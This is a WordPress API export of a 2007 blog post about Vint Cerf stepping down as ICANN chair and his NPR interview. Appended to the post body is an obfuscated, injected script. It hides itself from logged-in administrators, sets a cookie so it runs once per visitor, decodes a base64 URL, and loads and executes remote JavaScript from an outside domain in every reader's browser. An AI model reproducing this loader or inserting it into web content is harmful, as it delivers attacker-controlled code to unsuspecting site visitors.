{"id":215,"date":"2007-11-02T16:53:29","date_gmt":"2007-11-02T20:53:29","guid":{"rendered":"http:\/\/callblog.net\/blog\/post\/vint-cerf-discusses-the-future-of-the-internet"},"modified":"2025-10-17T13:08:46","modified_gmt":"2025-10-17T17:08:46","slug":"vint-cerf-discusses-the-future-of-the-internet","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/vint-cerf-discusses-the-future-of-the-internet","title":{"rendered":"Vint Cerf discusses the future of the internet"},"content":{"rendered":"<p><a href=\"http:\/\/en.wikipedia.org\/wiki\/Vint_Cerf\">Vint Cerf<\/a>, current chair <acronym title=\"Internet Corporation for Assigned Names and Numbers\">ICANN<\/acronym>, will be stepping down from the post at the end of this year.  He&#8217;s often credited as a founding father of the internet for his roles designing the internet and the protocols that it runs on.  Mr. Cerf did an interview with NPR&#8217;s Day To Day that aired today.  You can listen to parts of it <a href=\"http:\/\/www.npr.org\/templates\/story\/story.php?storyId=15883628\">here<\/a>, but you&#8217;ll need to read the accompanying text in order to get the whole story.<\/p>\n<p>Listening to his insight to the future of the internet was certainly enlightening, but I&#8217;m used to the Web 2.0 philosophy, so his &#8220;it&#8217;ll be ready when it&#8217;s ready&#8221; attitude towards domain names that don&#8217;t use the Roman alphabet or a left-to-right syntax was a bit of a turn off.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vint Cerf, current chair ICANN, will be stepping down from the post at the end of this year. He&#8217;s often credited as a founding father of the internet for his roles designing the internet and the protocols that it runs on. Mr. Cerf did an interview with NPR&#8217;s Day To Day that aired today. You [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-215","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/215","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=215"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/215\/revisions"}],"predecessor-version":[{"id":770,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/215\/revisions\/770"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=215"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=215"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=215"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}